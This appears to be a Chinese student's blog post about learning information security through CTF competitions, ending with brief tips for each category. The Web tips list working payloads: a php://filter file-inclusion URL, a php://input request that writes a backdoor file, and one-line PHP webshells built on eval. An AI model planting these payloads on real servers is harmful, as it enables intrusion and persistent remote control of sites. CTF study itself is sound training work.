在上大学之前,我是从来没有学习过任何编程知识的。不过我喜欢计算机,甚是喜欢这折腾的过程,从刚开始的学习使用、玩游戏、找外挂辅助,到后来的维修计算机。
上大学后,最先接触的编程语言是C。我自认为我学的是信息安全专业,只懂一门语言肯定是不够的。于是乎,我开始自学python及web前端和后端。不过在勉强入门后,有些迷茫,不知道怎么入门信息安全,感觉网上的教程都只是教人如何敲代码的而已。
不过我很幸运,遇到了一位老师,给我们提供了学习CTF(在此之前我完全不了解CTF)的入门资源及机会,让我初步入门CTF。此后,我们学校的学生组成了一个CTF队伍,在网上拼命地打比赛。虽然我们的战绩不太理想,但我们的排名也一次比一次高,我们偶尔也会尝到做出题的喜悦(平时基本是做不出题的),这是一个从零到一的过程。甚至,还曾参加过CTF线下赛。同时,我们也积累了很多CTF“作案”工具。
我对CTF中的Web和Cryptology较为感兴趣。就Cryptology而言, RSA密码是我最为感兴趣的,我甚至尝试过把质数都提前生成下来,中间还曾多次因为代码质量过低导致系统崩溃。虽然后来代码质量问题解决了,不过在生成了几十G的质数表后我就没继续了,毕竟效率太低了且时间成本太高了。
CTF心得
一、Web
http://xxx.com /index.php?file=php://filter/read=convert.base64-encode/resource=index.php
写后门:http://xxx.com/index.php?file=php://input <?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>
普通图片.png
/b+一句话木马.php
1.php
一句话木马:
1.<?php eval($_POST[a]);?> 2.<?php @eval(@$_REQUEST['a']);?>二、Cryptology
三、MISC
这个太杂了,反而不知道写什么好。当你拿到一个文件时,binwalk下,看看是不是单纯的一个文件。然后感觉该怎么办就怎么办……
四、RE,PWN
有文件时就本地调试或反编译,看有没有溢出、释放后引用、double free等漏洞。然后就开始尝试写poc吧。
另外,在极少数情况下,这些题还能够使用类似CE这种修改内存的工具解决。
最后,附上学习CTF的笔记链接:http://note.youdao.com/noteshare?id=72df985b71559a1103fc8558620d8488